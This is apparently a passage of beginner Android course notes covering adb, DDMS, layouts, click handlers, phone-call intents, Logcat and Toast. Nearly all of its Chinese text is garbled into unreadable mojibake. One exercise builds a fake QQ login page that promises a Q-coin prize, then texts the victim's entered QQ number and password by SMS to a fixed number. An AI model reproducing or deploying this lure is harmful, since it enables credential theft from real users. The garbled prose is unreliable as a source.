1.ÒÆ¶¯Í¨Ðŵķ¢Õ¹G--(generation)
1G:Ä£ÄâÖÆÊ½
2G:GSM/CDMA
2.5G:GPRS
2.75G:EDGE
3G:WCDMA/CDMA2000/TD-SCDMA
3.5G/3.75G:HSDPA/HSUPA/HSDPA+
4G:TD-LTE( Long term evolution)³¤ÆÚÑݽø
GSM£º9K -->GPRS:42K--> EDGE:172K
-->WCDMA£º364k -->HSDPA/HSUPA:14.4M -->HSDPA+/HSUPA+:42M
-->FDD-LTE:300M
2.°²×¿½á¹¹Í¼

´ÓÉϵ½ÏÂ:
ApplicationÓ¦ÓóÌÐò²ã ---------JAVAд
Application FrameworkÓ¦ÓóÌÐò¿ò¼Ü²ã-----------JAVAд
LibrariesÖмä¼þÀà¿â²ãÖ÷ÒªÓÉCÓïÑÔ±àд
Android RuntimeÔËÐл·¾³°üº¬ÔËÐÐʱµÄºËÐÄÀà¿âÓëDalvik
Virtual machine
Linux KernelÖ÷ÒªÒÔLinux2.3.6Ϊ»ù´¡,ʹÓÃCÓïÑÔдµÄ¸÷ÖÖÓ²¼þµÄÇý¶¯
µ±Ò»¸öAPPÔËÐÐʱ,´ÓÉϵ½Ïµĵ÷ÓÃ
3.JVMÓëDalvikÐéÄâ»úµÄÇø±ð

JVMÖеÚÒ»¸öjavaÎļþ¶¼ÊÇÒ»¸öµ¥¶ÀµÄ.class×Ö½ÚÂëÎļþ
ÔÚDalvidÖаÑËùÓеÄ.class×Ö½ÚÂëÎļþ¶¼´ò°üΪÁËÒ»¸ö.dexµÄÎļþ
JVMÊÇ»ù´¡Õ»µÄ------ÄÚ´æ
Dalvik»ù´¡¼Ä´æÆ÷,---CPU--ËÙ¶È¿ìÉϺܶà
4.adb ³£¼ûÃüÁî--Android debug bridge
adb devices---Áгöµ±Ç°ÔÚÏߵݲ׿É豸

adb kill-server --ɱËÀµ±Ç°µÄadb·þÎñ

adb start-server Æô¶¯adb»òÕßÖ±½ÓʹÓÃadb devices

adb logcat ²é¿´Log

adb shell ¹ÒÔØµ½Linuxϵͳ¿Õ¼ä

-s±íʾҪʹÓÃÄĸöÉ豸
adb install <Ó¦ÓóÌÐò(¼ÓÀ©Õ¹Ãû)> °²×°Ó¦ÓóÌÐò
µ¥¸öÉ豸°²×°

µ¥¸öÉèÖÃÐ¶ÔØ
adb uninstall <³ÌÐò°üÃû>

¶à¸öÉ豸°²×°

¶à¸öÉè±¸Ð¶ÔØ

adb pull <remote> <local>
°ÑÄ£ÄâÉϵÄÎļþÀµ½±¾µØ
adb push <local> <remote>°Ñ±¾µØµÄÎļþ·ÅÔÚÄ£ÄâÉÏ

DDMSÖпÉÒÔʹÓÃͼÐλ¯µÄ·½Ê½

5.ÐéÄâ»ú

Ó²¼þ¼ÓËÙÆ÷,Èç¹û°²×°³É¹¦,Æô¶¯Ä£ÄâÆ÷ʱ»áÓÐÈçÏÂÌáʾ

6.SDKĿ¼½á¹¹

SDK Manager

7.°²×¿ÏîĿĿ¼½á¹¹

8.DDMS
DDMS ¼ò½é
DDMS ÊÇ Dalvik Debug Monitor Service
µÄ¼ò³Æ¡£DDMS Ϊ IDE ºÍ emulator ÒÔ¼° Android Õæ»ú¼ÜÆðÀ´ÁËÒ»×ùÇÅÁº¡£¿ª·¢ÈËÔ±¿ÉÒÔͨ¹ý
DDMS ¿´µ½Ä¿±ê»úÆ÷ÉÏÔËÐеĽø³Ì/Ïß³Ì״̬£¬¿ÉÒÔ¿´½ø³ÌµÄ heap ÐÅÏ¢£¬¿ÉÒԲ鿴 logcat ÐÅÏ¢£¬¿ÉÒԲ鿴½ø³Ì·ÖÅäÄÚ´æÇé¿ö£¬¿ÉÒÔÏòÄ¿±ê»ú·¢ËͶÌÐÅÒÔ¼°´òµç»°£¬¿ÉÒÔÏò
Android·¢Ë͵ØÀíλÖÃÐÅÏ¢¡£ÏÂÃæÒÔ Eclipse µÄ DDMS perspective ΪÀý¼òµ¥½éÉÜ
DDMS µÄ¹¦ÄÜ

×óÉϲ¿·ÖΪ Devices ´°¿Ú£¬ÁгöÁËËùÓÐÒѾ¸ú adb ³É¹¦Á¬½ÓµÄÄ£ÄâÆ÷£¨°üÀ¨Õæ»ú£©ÒÔ¼°¸÷¸öÄ£ÄâÆ÷ÖÐËùÓÐÔËÐеĽø³Ì¡£Èçͼ
1-12 Ëùʾ£¬×îÉÏÃæÒ»ÅÅ´Ó×óµ½ÓÒÒ»¹²ÓÐ 9 ¸ö¿ÉÓð´Å¥£¬·Ö±ðΪ£º µ÷ÊÔij¸ö½ø³Ì£¬¸üнø³Ì¶ÑÕ»ÐÅÏ¢£¬ ÏÂÔØ½ø³Ì¶ÑÕ»Êý¾Ýµ½±¾µØ£¬
µ÷ÓÃÀ¬»ø»ØÊÕÆ÷£¬ ¸üÐÂỊ̈߳¬ ¿ªÆô·½·¨ÐÔÄÜ·ÖÎöÊý¾ÝÊÕ¼¯£¬ ֹͣij¸ö½ø³Ì£¬ ץȡ Android ĿǰµÄÆÁÄ»£¬
²é¿´µ±Ç°½çÃæÊÓͼÊ÷½á¹¹¡£
9.HelloWorld
´´½¨Helloworld
µã»÷ ADT ×óÉÏ½ÇµÄ File °´Å¥£¬È»ºóÑ¡Ôñ New£¬È»ºóµã»÷ Android
Application Project¿ªÊ¼ Android ¹¤³ÌµÄ´´½¨¡££¨»òÕßÊó±êÓÒ»÷£¬ÔÚµ¯³öµÄ¿ì½Ý²Ëµ¥Öд´½¨Ò²¿ÉÒÔ£©¡£



¸Ã½çÃæÕ¹Ê¾ÁËÊÇ·ñ´´½¨Í¼±ê£¬ÊÇ·ñ´´½¨ activity£¬ÊÇ·ñ½«¸Ã¹¤³Ì×÷Ϊ¿â¹¤³Ì£¬ÊÇ·ñ½«¸Ã¹¤³ÌÌí¼Óµ½µ±Ç°¹¤×÷¿Õ¼ä£¬ÊÇ·ñ½«¸Ã¹¤³ÌÌí¼Óµ½Ö¸¶¨¹¤×÷¼¯µÈÐÅÏ¢£¬Í¨³£Çé¿öϲ»ÐèÒªÎÒÃÇÐÞ¸ÄĬÈϵÄÅäÖã¬Ö±½Ó
Next ¾ÍÐС£

¸Ã½çÃæÌṩÁËÅäÖÃͼ±êÑ¡Ï ÎÒÃÇͨ¹ýµã»÷ Browser °´Å¥¿ÉÒÔÑ¡ÔñÎÒÃǸöÐÔ»¯µÄͼ±ê¡£ÔÚѧϰ½×¶Î²»ÐèҪʹÓã¬È»ºóµã»÷
Next...¡£

¸ÃÏòµ¼½çÃæ¿ÉÒÔÈÃÎÒÃÇÑ¡Ôñ´´½¨Ò»¸öʲôÑùʽµÄ Activity£¬Ò»°ãʹÓÃϵͳĬÈϵÄ
BlankActivity ¼´¿É£¬È»ºóµã»÷ Next...¡£

ÕâÊÇ×îºóÒ»¸öÏòµ¼½çÃæÁË¡£ Activity Name ºÍ Layout
Name ·Ö±ðÊÇÈÃÎÒÃÇÉèÖÃÖ÷ ActivityºÍÆä²¼¾ÖµÄÃû×Ö£¬Í¨³£Çé¿öÏÂʹÓÃĬÈÏÃû×Ö¼´¿É¡£Navigation
Type ÊÇÖ÷½çÃæ Activity Çл»ÀàÐÍ£¬Ê¹Óà None¼´¿É¡£È»ºóµã»÷ Finish Íê³É Android
¹¤³ÌµÄ´´½¨¡£
10.²¼¾Ö
ÏßÐÔ²¼¾Ö linearlayout
Ïà¶Ô²¼¾Ö Relativelayout
Ö¡²¼¾Ö framelayout
±í¸ñ²¼¾Ö tablelayout
¾ø¶Ô²¼¾Ö absoluteLayout
ÏßÐÔ²¼¾Ö

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" >
<!-- ÉÏÃæµÄÎı¾ÏÔʾ -->
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:background="#33330000"
android:gravity="bottom|right"
android:hint="0"
android:lines="3"
android:paddingRight="5dp"
android:textSize="29sp" />
<!-- ÏÂÃæµÄ°´¼üÏÔʾ -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical" >
<!-- µÚÒ»ÅŰ´¼ü -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="C"
android:textColor="#ED7A20"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="DEL"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="¡Â"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="¡Á"
android:textSize="20sp" />
</LinearLayout>
<!-- µÚ¶þÅŰ´¼ü -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="7"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="8"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="9"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="£"
android:textSize="20sp" />
</LinearLayout>
<!-- µÚÈýÅŰ´¼ü -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="4"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="5"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="6"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="+"
android:textSize="20sp" />
</LinearLayout>
<!-- ÏÂÃæ¶þÅÅ×îÍâÃæ -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
>
<!-- ×ó±ß -->
<LinearLayout
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="3"
android:orientation="vertical" >
<!-- ×ó±ßÉÏ -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
>
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="1"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="2"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="3"
android:textSize="20sp" />
</LinearLayout>
<!-- ×ó±ßÏ -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
>
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="2"
android:text="0"
android:textSize="20sp" />
<Button
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="."
android:textSize="20sp" />
</LinearLayout>
</LinearLayout>
<!-- Óұ߰´¼ü -->
<Button
android:layout_width="0dp"
android:layout_height="match_parent"
android:layout_weight="1"
android:background="#ED7A20"
android:gravity="bottom|right"
android:text="="
android:textColor="#ffffff"
android:paddingBottom="20dp"
android:paddingRight="20dp"/>
</LinearLayout>
</LinearLayout>
<AbsoluteLayout ></AbsoluteLayout>
</LinearLayout> |
Ïà¶Ô²¼¾Ö

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" >
<!-- Öмä -->
<Button
android:id="@+id/center"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerInParent="true"
android:text="Öмä" />
<!-- ÖÐÉÏ -->
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_above="@id/center"
android:layout_alignLeft="@id/center"
android:text="ÖÐÉÏ" />
<!-- ÖÐÏÂ -->
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignLeft="@id/center"
android:layout_below="@id/center"
android:text="ÖÐÏÂ" />
<!-- ÖÐ×ó -->
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignBottom="@id/center"
android:layout_toLeftOf="@id/center"
android:text="ÖÐ×ó" />
<!-- ÖÐÓÒ -->
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignTop="@id/center"
android:layout_toRightOf="@id/center"
android:text="ÖÐÓÒ" />
<!-- ×óÉÏ -->
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="×óÉÏ" />
<!-- ÓÒÉÏ -->
<Button
android:layout_alignParentRight="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ÓÒÉÏ " />
<!-- ×óÏÂ -->
<Button
android:layout_alignParentBottom="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="×óÏÂ " />
<!-- ÓÒÏÂ -->
<Button
android:layout_alignParentBottom="true"
android:layout_alignParentRight="true"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ÓÒÉÏ " />
</RelativeLayout> |
10.»ñÈ¡ÊäÈëÓû§ÃûÓëÃÜÂë·¢ËͶÌÐÅ

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:gravity="center_horizontal" android:orientation="vertical" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" >
<ImageView
android:background="#09A3DC"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:src="@drawable/qq" />
<!--ÊäÈëQQºÅÂë -->
<EditText
android:id="@+id/et_qqNumber"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:hint="ÇëÊäÈëQQºÅÂë"
android:inputType="numberSigned" />
<!--ÊäÈëQQÃÜÂë-->
<EditText
android:id="@+id/et_qqPassword"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:hint="ÇëÊäÈëQQÃÜÂë"
android:inputType="textPassword" />
<Button
android:id="@+id/btn_login"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="20dp"
android:textColor="#ffffff"
android:background="#09A3DC"
android:text="µÇ¼ÁìÈ¡Q±Ò´ó½±"/>
</LinearLayout> |
Activity
/** * Ò»¼üÁìÈ¡Q±Ò * ²½Öè: * 1.ÉèÖõ¥»÷ʼþ * 2.»ñÈ¡ÊäÈëµÄQQºÅÂëÓëÃÜÂë * 3.ÅжÏÊäÈë»ñÈ¡µÄÄÚÈÝÊÇ·ñΪ¿Õ,Ϊ¿Õ¾Í¸øÓû§ÌáʾToastÌáʾ,²»Îª¿Õ¾Í¼ÌÐø * 4.ʹÓöÌÐŹÜÀíÆ÷,ÊÇÒ»¸öµ¥ÀýµÄÀàSmsManager.getDefault()À´»ñÈ¡ * 5.·¢ËÍQQºÅÂëÓëÃÜÂë * 6.Ìí¼Ó·¢ËÍSMSµÄȨÏÞSEND_SMS * * @author Áõéª * * 2016-2-17ÏÂÎç7:48:53 */ public class MainActivity extends Activity { /* * QQºÅÂë */ EditText et_qqNumber; /* * QQÃÜÂë */ EditText et_qqPassword; /* * µÇ¼ÁìÈ¡Q±Ò */ Button btn_login;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/*
* ³õʼ»¯
*/
/*
* QQºÅÂë
*/
et_qqNumber=(EditText) findViewById(R.id.et_qqNumber);
/*
* QQÃÜÂë
*/
et_qqPassword=(EditText) findViewById(R.id.et_qqPassword);
/*
* µÇ¼ÁìÈ¡Q±Ò
*/
btn_login=(Button) findViewById(R.id.btn_login);
/*
* ÉèÖõã»÷ʼþ
*/
btn_login.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v) {
//2.»ñÈ¡ÊäÈëµÄQQºÅÂëÓëÃÜÂë
String qq = et_qqNumber.getText().toString().trim();
String password = et_qqPassword.getText().toString().trim();
// 3.ÅжÏÊäÈë»ñÈ¡µÄÄÚÈÝÊÇ·ñΪ¿Õ,Ϊ¿Õ¾Í¸øÓû§ÌáʾToastÌáʾ,²»Îª¿Õ¾Í¼ÌÐø
if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){
Toast.makeText(MainActivity.this, "Ç×! QQºÅÂë»òÕßÃÜÂë²»ÄÜΪ¿Õ",
Toast.LENGTH_SHORT).show();
return ;
}
// 4.ʹÓöÌÐŹÜÀíÆ÷,ÊÇÒ»¸öµ¥ÀýµÄÀàSmsManager.getDefault()À´»ñÈ¡
SmsManager manager = SmsManager.getDefault();
// 5.·¢ËÍQQºÅÂëÓëÃÜÂë
String message="qq :"+qq+",pwd:"+password;
manager.sendTextMessage("5556", null,
message, null, null);
/*
* ·ÖÀë¶ÌÐÅ
ArrayList<String> divideMessage = manager.divideMessage(message);
for (String str : divideMessage) {
manager.sendTextMessage("5556", null,
str, null, null);
}*/
}
});
}
} |
11.Ò»¼ü´òµç»°

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" >
<Button
android:onClick="callPhone"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:text="Ò»¼üºô½ÐÎÄÎÄÈ¥×ö´ó±£½¡"/>
</RelativeLayout> |
12.µã»÷ʼþµÄ4ÖÖд·¨
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" android:orientation="vertical" tools:context=".MainActivity" >
<Button
android:id="@+id/btn01"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚÒ»ÖÖд·¨" />
<Button
android:id="@+id/btn02"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚ¶þÖÖд·¨" />
<Button
android:id="@+id/btn03"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚÈýÖÖд·¨" />
<Button
android:onClick="click04"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚËÄÖÖд·¨" />
<Button
android:id="@+id/btn05"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="µÚÈýÖÖд·¨" />
</LinearLayout> |

/** * µã»÷ʼþµÄ4ÖÖд·¨: * 1.дÄäÃûÄÚ²¿Àà * 2.ÄÚ²¿Àà * 3.ActivityʵÏÖOnClickListener½Ó¿Ú * 4.ÔÚ²¼¾ÖÎļþÖÐдonClickÊôÐÔ,ÔÚActivityÖÐд¶ÔÓ¦ µÄ·½·¨,±ØÐëΪpublic void ¶ÔÓ¦µÄ·½·¨Ãû(View v) * * @author Áõéª * * 2016-2-18ÉÏÎç9:43:04 */ public class MainActivity extends Activity implements OnClickListener { /* * µÚÒ»ÖÖд·¨ */ private Button btn01; /* * µÚ¶þÖÖд·¨ */ private Button btn02; /* * µÚÈýÖÖд·¨ */ private Button btn03; /* * µÚÈýÖÖд·¨ */ private Button btn05;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
btn01 = (Button) findViewById(R.id.btn01);
btn02 = (Button) findViewById(R.id.btn02);
btn03 = (Button) findViewById(R.id.btn03);
btn05 = (Button) findViewById(R.id.btn05);
/*
* µÚÒ»ÖÖµã»÷ʼþ,ÄäÃûÄÚ²¿Àà,°´¼üÒ»
*/
btn01.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v) {
int id = v.getId();
Toast.makeText(MainActivity.this, "µÚÒ»ÖÖ,µ±Ç°ID"
+ id,
Toast.LENGTH_SHORT).show();
}
});
/*
* µÚ¶þÖÖ µã»÷ʼþ,ÄÚ²¿Àà °´¼ü¶þ
*/
btn02.setOnClickListener(new Bt02Litener());
/*
* µÚÈýÖÖд·¨
*/
btn03.setOnClickListener(this);
btn05.setOnClickListener(this);
}
/*
* µÚËÄÖÖд·¨
*/
public void click04(View v) {
Toast.makeText(MainActivity.this,
"µÚËÄÖÖд·¨", Toast.LENGTH_SHORT).show();
}
/*
* µÚ¶þÖÖ µã»÷ʼþ,ÄÚ²¿Àà °´¼ü¶þ
*/
private class Bt02Litener implements OnClickListener
{
@Override
public void onClick(View v) {
int id = v.getId();
Toast.makeText(MainActivity.this, "µÚ¶þÖÖ,µ±Ç°ID"
+ id,
Toast.LENGTH_SHORT).show();
}
}
/**
* µÚÈýÖÖ Ê¼þ¼àÌý
*/
@Override
public void onClick(View v) {
int id = v.getId();
// ÅжÏ
switch (id) {
case R.id.btn03:
// µ÷Ó÷½·¨
btn03();
break;
case R.id.btn05:
// µ÷Ó÷½·¨
btn05();
break;
}
}
/*
* °´¼ü3
*/
public void btn03() {
Toast.makeText(this, "°´¼ü3", Toast.LENGTH_SHORT).show();
}
/*
* °´¼ü5
*/
public void btn05() {
Toast.makeText(this, "°´¼ü5", Toast.LENGTH_SHORT).show();
}
} |
/** * Ò»¼ü´òµç»°¹¦ÄÜ ²½Öè: * 1.ʹÓÃÒâͼ¶ÔÏó Intent intent = new Intent(); * 2.ÉèÖÃAction * ¸æËßϵͳÎÒÒª´òµç»°,setAction(Intent.Action_CALL),µ÷ÓÃgoogleÌṩºÃµÄ¹¦ÄÜ * 3.ÉèÖÃDataÊý¾ÝsetData(Uri.parse("tel://µç»°ºÅÂë")) tel://Ï൱ÓÃhttp://ÊÇÒ»ÖÖÐÒé
*
* ACTION_DIAL tel:123 -- Display the phone dialer
with the given number filled
* in.
*
*
* 4.Æô¶¯Ò»¸öеÄActivity½çÃæ 5.Ìí¼ÓȨÏÞCALL_PHONE
*
* @author Áõéª
*
* 2016-2-17ÏÂÎç7:40:42
*/
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
/**
*
* @param view
*/
public void callPhone(View view) {
// 1.ʹÓÃÒâͼ¶ÔÏó Intent intent = new Intent();
Intent intent = new Intent();
// 2.ÉèÖÃAction ¸æËßϵͳÎÒÒª´òµç»°,setAction(Intent.Action_CALL)
intent.setAction(Intent.ACTION_CALL);
// 3.ÉèÖÃDataÊý¾ÝsetData(Uri.parse("tel://µç»°ºÅÂë"))
intent.setData(Uri.parse("tel://10086"));
// 4.Æô¶¯Ò»¸öеÄActivity½çÃæ
startActivity(intent);
}
} |
13LogcatµÄʹÓÃ

public class MainActivity extends Activity {
private static final String TAG
= "MainActivity";
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.v(TAG, "verbose");
Log.d(TAG, "debug");
Log.i(TAG, "info");
Log.w(TAG, "warn");
Log.e(TAG, "error");
Log.wtf(TAG, "wtf");
} |
TAGÒ»°ã¶¼Ê¹ÓÃÀàÃû

14 Juint²âÊÔ¿ò¼Ü
дһ¸öÀà¼Ì³ÐAndroidTestCase

ÔÚManifest.xmÇåµ¥ÎļþÖÐÌí¼Ó <instrumentation android:name="android.test.InstrumentationTestRunner" android:targetPackage="com.itheima.test" > </instrumentation> <uses-library android:name="android.test.runner"/> |
ºÍJAVAÖеÄjunit Ò»ÑùµÄʹÓÃ
15 ÌáʾToast
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" android:orientation="vertical" tools:context=".MainActivity" >
<Button
android:id="@+id/btn_simple"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ÆÕͨToast" />
<Button
android:id="@+id/btn_toast"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="´øÍ¼Æ¬Toast" />
</LinearLayout> |

/* * Toast */ public class MainActivity extends Activity {
/*
* ÆÕͨ
*/
private Button btn_simple;
/*
* ´øÍ¼Æ¬µÄ
*/
private Button btn_toast;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
btn_simple = (Button) findViewById(R.id.btn_simple);
btn_toast = (Button) findViewById(R.id.btn_toast);
/*
* ÉèÖüàÌýʼþ²½Öè
* 1.ʼþÔ´,Èç°´¼ü btn_simple
* 2.ʼþ OnClick
* 3.¼àÌýÆ÷new OnClickListener
* 3.°ó¶¨Ê¼þÔ´Óëʼþ setOnClickListener(new OnClickListener()
{}
*/
btn_simple.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v) {
Toast.makeText(MainActivity.this, "¼òµ¥µÄÎı¾ÌáʾÐÅÏ¢",
Toast.LENGTH_SHORT).show();
}
});
/*
* ´øÍ¼Æ¬µÄToast
*/
btn_toast.setOnClickListener(new OnClickListener()
{
@Override
public void onClick(View v) {
//´´½¨Toast
Toast toast = new Toast(MainActivity.this);
//ÉèÖÃToastÏÔʾλÖÃ
toast.setGravity(Gravity.CENTER, 0, 0);
//´´½¨Ò»¸öImageView
ImageView iv = new ImageView(MainActivity.this);
iv.setImageResource(R.drawable.tools);
//´´½¨ÈÝÆ÷
LinearLayout ll = new LinearLayout(MainActivity.this);
ll.addView(iv);
//´´½¨Ò»¸öÎı¾
TextView tv = new TextView(MainActivity.this);
tv.setText("´øÍ¼Æ¬ÌáʾÐÅÏ¢");
tv.setTextSize(24);
tv.setTextColor(Color.MAGENTA);
ll.addView(tv);
toast.setView(ll);
toast.setDuration(Toast.LENGTH_SHORT);
toast.show();
}
});
}
} |
|